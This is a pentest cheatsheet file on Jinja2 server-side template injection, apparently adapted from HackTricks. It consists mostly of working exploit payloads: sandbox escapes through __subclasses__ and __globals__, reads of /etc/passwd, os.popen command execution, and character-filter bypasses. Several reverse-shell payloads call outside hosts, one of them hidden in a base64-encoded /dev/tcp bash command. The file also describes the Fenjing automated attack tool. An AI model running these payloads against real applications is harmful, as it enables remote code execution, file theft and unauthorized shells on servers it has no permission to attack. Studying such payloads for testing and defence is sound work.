daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

jinja2-ssti.md (16695B)


      1 ---
      2 title: "Jinja2 SSTI"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Jinja2 SSTI
     14 
     15 ## **Lab**
     16 
     17 ```python
     18 from flask import Flask, request, render_template_string
     19 
     20 app = Flask(__name__)
     21 
     22 @app.route("/")
     23 def home():
     24     if request.args.get('c'):
     25         return render_template_string(request.args.get('c'))
     26     else:
     27         return "Hello, send something inside the param 'c'!"
     28 
     29 if __name__ == "__main__":
     30     app.run()
     31 ```
     32 
     33 ## **Misc**
     34 
     35 ### **Debug Statement**
     36 
     37 If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
     38 
     39 ```python
     40 <pre>
     41 
     42 {% raw %}
     43 {% debug %}
     44 {% endraw %}
     45 
     46 
     47 </pre>
     48 ```
     49 
     50 Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)<sup>[[1]](#references)[[6]](#references)</sup>
     51 
     52 ### **Dump all config variables**
     53 
     54 ```python
     55 {{ config }} #In these object you can find all the configured env variables
     56 
     57 
     58 {% raw %}
     59 {% for key, value in config.items() %}
     60     <dt>{{ key|e }}</dt>
     61     <dd>{{ value|e }}</dd>
     62 {% endfor %}
     63 {% endraw %}
     64 
     65 
     66 ```
     67 
     68 ## **Jinja Injection**
     69 
     70 First of all, in a Jinja injection you need to **find a way to escape from the sandbox** and recover access the regular python execution flow. To do so, you need to **abuse objects** that are **from** the **non-sandboxed environment but are accessible from the sandbox**.<sup>[[2]](#references)[[3]](#references)</sup>
     71 
     72 ### Accessing Global Objects
     73 
     74 For example, in the code `render_template("hello.html", username=username, email=email)` the objects username and email **come from the non-sanboxed python env** and will be **accessible** inside the **sandboxed env.**\
     75 Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are:
     76 
     77 ```text
     78 []
     79 ''
     80 ()
     81 dict
     82 config
     83 request
     84 ```
     85 
     86 ### Recovering \<class 'object'>
     87 
     88 Then, from these objects we need to get to the class: **`<class 'object'>`** in order to try to **recover** defined **classes**. This is because from this object we can call the **`__subclasses__`** method and **access all the classes from the non-sandboxed** python env.
     89 
     90 In order to access that **object class**, you need to **access a class object** and then access either **`__base__`**, **`__mro__()[-1]`** or `.`**`mro()[-1]`**. And then, **after** reaching this **object class** we **call** **`__subclasses__()`**.
     91 
     92 Check these examples:
     93 
     94 ```python
     95 # To access a class object
     96 [].__class__
     97 ''.__class__
     98 ()["__class__"] # You can also access attributes like this
     99 request["__class__"]
    100 config.__class__
    101 dict #It's already a class
    102 
    103 # From a class to access the class "object".
    104 ## "dict" used as example from the previous list:
    105 dict.__base__
    106 dict["__base__"]
    107 dict.mro()[-1]
    108 dict.__mro__[-1]
    109 (dict|attr("__mro__"))[-1]
    110 (dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
    111 
    112 # From the "object" class call __subclasses__()
    113 {{ dict.__base__.__subclasses__() }}
    114 {{ dict.mro()[-1].__subclasses__() }}
    115 {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
    116 
    117 {% raw %}
    118 {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
    119 
    120 # Other examples using these ways
    121 {{ ().__class__.__base__.__subclasses__() }}
    122 {{ [].__class__.__mro__[-1].__subclasses__() }}
    123 {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
    124 {{ request.__class__.mro()[-1].__subclasses__() }}
    125 {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
    126 {% endraw %}
    127 
    128 
    129 # Not sure if this will work, but I saw it somewhere
    130 {{ [].class.base.subclasses() }}
    131 {{ ''.class.mro()[1].subclasses() }}
    132 ```
    133 
    134 ### RCE Escaping
    135 
    136 **Having recovered** `<class 'object'>` and called `__subclasses__` we can now use those classes to read and write files and exec code.
    137 
    138 The call to `__subclasses__` has given us the opportunity to **access hundreds of new functions**, we will be happy just by accessing the **file class** to **read/write files** or any class with access to a class that **allows to execute commands** (like `os`).
    139 
    140 **Read/Write remote file**
    141 
    142 ```python
    143 # ''.__class__.__mro__[1].__subclasses__()[40] = File class
    144 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
    145 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
    146 ```
    147 
    148 **RCE**
    149 
    150 ```python
    151 # The class 396 is the class <class 'subprocess.Popen'>
    152 {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
    153 
    154 # Without '{{' and '}}'
    155 
    156 <div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
    157 
    158 # Calling os.popen without guessing the index of the class
    159 {% raw %}
    160 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
    161 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
    162 
    163 ## Passing the cmd line in a GET param
    164 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
    165 {% endraw %}
    166 
    167 
    168 ## Passing the cmd line ?cmd=id, Without " and '
    169 {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
    170 
    171 ```
    172 
    173 ### Payloads with `{% ... %}`
    174 
    175 Sometimes `{{ ... }}` is blocked, sanitized or the injection lands inside a statement-friendly context. In those cases you can still abuse Jinja statement tags such as `{% with %}`, `{% if %}`, `{% for %}`, `{% set %}` and, in newer versions, `{% print %}` to execute code, leak data through the block body, or trigger blind side effects.<sup>[[1]](#references)</sup>
    176 
    177 ```python
    178 {% raw %}
    179 # Simple statement-tag primitives
    180 {% print(1) %}
    181 {% if 7*7 == 49 %}OK{% endif %}
    182 {% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
    183 {% set x = 7*7 %}{{ x }}
    184 {% for i in range(3) %}{{ i }}{% endfor %}
    185 {% with a = ''.__class__ %}{{ a }}{% endwith %}
    186 {% print(''.__class__.__mro__[1]) %}
    187 {% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}
    188 
    189 # Flask-like contexts: use already reachable globals/functions
    190 {% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
    191 {% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}
    192 
    193 # Bare Jinja2 Template(...) contexts may not have `config` or `request`,
    194 # but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
    195 # are often still available.
    196 {% print(lipsum) %}
    197 {% print(cycler) %}
    198 {% print(joiner) %}
    199 {% print(namespace) %}
    200 {% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
    201 {% if cycler.__init__.__globals__ %}G_OK{% endif %}
    202 
    203 # RCE using default Jinja globals
    204 {% print(lipsum.__globals__['os'].popen('id').read()) %}
    205 {% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
    206 {% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
    207 {% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
    208 {% print(namespace.__init__.__globals__['os'].popen('id').read()) %}
    209 
    210 # Blind / boolean primitive
    211 {% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
    212 YES
    213 {% endif %}
    214 {% endraw %}
    215 ```
    216 
    217 If the target filters some chars but still allows statement tags, combine this idea with the [filter bypasses](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#filter-bypasses) and the [no-`{{` / no-`.` / no-`_` example](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#without-several-chars). Also remember that `{% print %}` is not mandatory: on targets where it is unavailable, `{% with %}`, `{% if %}`, `{% set %}` and `{% for %}` are usually enough to keep exploiting the template.
    218 
    219 To learn about **more classes** that you can use to **escape** you can **check**:
    220 
    221 
    222 [Bypass Python Sandboxes](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
    223 
    224 ### Filter bypasses
    225 
    226 #### Common bypasses
    227 
    228 These bypass will allow us to **access** the **attributes** of the objects **without using some chars**.\
    229 Some of these bypasses appeared in the preceding examples; the following list summarizes them:<sup>[[3]](#references)[[5]](#references)</sup>
    230 
    231 ```bash
    232 # Without quotes, _, [, ]
    233 ## Basic ones
    234 request.__class__
    235 request["__class__"]
    236 request['\x5f\x5fclass\x5f\x5f']
    237 request|attr("__class__")
    238 request|attr(["_"*2, "class", "_"*2]|join) # Join trick
    239 
    240 ## Using request object options
    241 request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
    242 request|attr(request.args.c) #Send a param like "?c=__class__
    243 request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
    244 request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
    245 http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
    246 
    247 ## Lists without "[" and "]"
    248 http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
    249 
    250 # Using with
    251 
    252 {% raw %}
    253 {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
    254 {% endraw %}
    255 
    256 
    257 ```
    258 
    259 - [**Return here for more options to access a global object**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#accessing-global-objects)
    260 - [**Return here for more options to access the object class**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#recovering-less-than-class-object-greater-than)
    261 - [**Read this to get RCE without the object class**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#jinja-injection-without-less-than-class-object-greater-than)
    262 
    263 **Avoiding HTML encoding**
    264 
    265 By default Flask HTML encode all the inside a template for security reasons:<sup>[[3]](#references)</sup>
    266 
    267 ```python
    268 {{'<script>alert(1);</script>'}}
    269 #will be
    270 &lt;script&gt;alert(1);&lt;/script&gt;
    271 ```
    272 
    273 **The `safe`** filter allows us to inject JavaScript and HTML into the page **without** it being **HTML encoded**, like this:
    274 
    275 ```python
    276 {{'<script>alert(1);</script>'|safe}}
    277 #will be
    278 <script>alert(1);</script>
    279 ```
    280 
    281 **RCE by writing an evil config file.**
    282 
    283 ```python
    284 # evil config
    285 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
    286 
    287 # load the evil config
    288 {{ config.from_pyfile('/tmp/evilconfig.cfg') }}
    289 
    290 # connect to evil host
    291 {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
    292 ```
    293 
    294 ## Without several chars
    295 
    296 Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**<sup>[[4]](#references)</sup>
    297 
    298 ```python
    299 {% raw %}
    300 {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
    301 {% endraw %}
    302 
    303 
    304 ```
    305 
    306 ## Jinja Injection without **\<class 'object'>**
    307 
    308 From the [**global objects**](/hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti#accessing-global-objects) there is another way to get to **RCE without using that class.**\
    309 If you manage to get to any **function** from those globals objects, you will be able to access **`__globals__.__builtins__`** and from there the **RCE** is very **simple**.
    310 
    311 You can **find functions** from the objects **`request`**, **`config`** and any **other** interesting **global object** you have access to with:
    312 
    313 ```bash
    314 {{ request.__class__.__dict__ }}
    315 - application
    316 - _load_form_data
    317 - on_json_loading_failed
    318 
    319 {{ config.__class__.__dict__ }}
    320 - __init__
    321 - from_envvar
    322 - from_pyfile
    323 - from_object
    324 - from_file
    325 - from_json
    326 - from_mapping
    327 - get_namespace
    328 - __repr__
    329 
    330 # You can iterate through children objects to find more
    331 ```
    332 
    333 Once you have found some functions you can recover the builtins with:
    334 
    335 ```python
    336 # Read file
    337 {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
    338 
    339 # RCE
    340 {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
    341 {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
    342 {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
    343 
    344 {% raw %}
    345 {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
    346 {% endraw %}
    347 
    348 
    349 ## Extra
    350 ## The global from config have a access to a function called import_string
    351 ## with this function you don't need to access the builtins
    352 {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
    353 
    354 # All the bypasses seen in the previous sections are also valid
    355 ```
    356 
    357 ### Fuzzing WAF bypass
    358 
    359 **Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is a tool that its specialized on CTFs but can be also useful to bruteforce invalid params on a real scenario. The tool just spray words and queries to detect filters, searching for bypasses, and also provide a interactive console.
    360 
    361 English-Chinese Google translation
    362 
    363 ```text
    364 webui:
    365 As the name suggests, web UI
    366 Default port 11451
    367 
    368 scan: scan the entire website
    369 Extract all forms from the website based on the form element and attack them
    370 After the scan is successful, a simulated terminal will be provided or the given command will be executed.
    371 Example:python -m fenjing scan --url 'http://xxx/'
    372 
    373 crack: Attack a specific form
    374 You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
    375 After a successful attack, a simulated terminal will also be provided or a given command will be executed.
    376 Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
    377 
    378 crack-path: attack a specific path
    379 Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
    380 The parameters are roughly the same as crack, but you only need to provide the corresponding path
    381 Example:python -m fenjing crack-path --url 'http://xxx/hello/'
    382 
    383 crack-request: Read a request file for attack
    384 Read the request in the file, PAYLOADreplace it with the actual payload and submit it
    385 The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
    386 ```
    387 
    388 ## References
    389 
    390 - [1] [Jinja - Template Designer Documentation](https://jinja.palletsprojects.com/en/stable/templates/)
    391 - [2] [PayloadsAllTheThings - Server Side Template Injection (Jinja2)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
    392 - [3] [Chivato - Jinja2 SSTI notes](https://hackmd.io/@Chivato/HyWsJ31dI)
    393 - [4] [@SecGus tweet on Jinja2 SSTI without special characters](https://twitter.com/SecGus/status/1198976764351066113)
    394 - [5] [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3)
    395 - [6] [Jinja Template Designer Documentation - Debug Statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)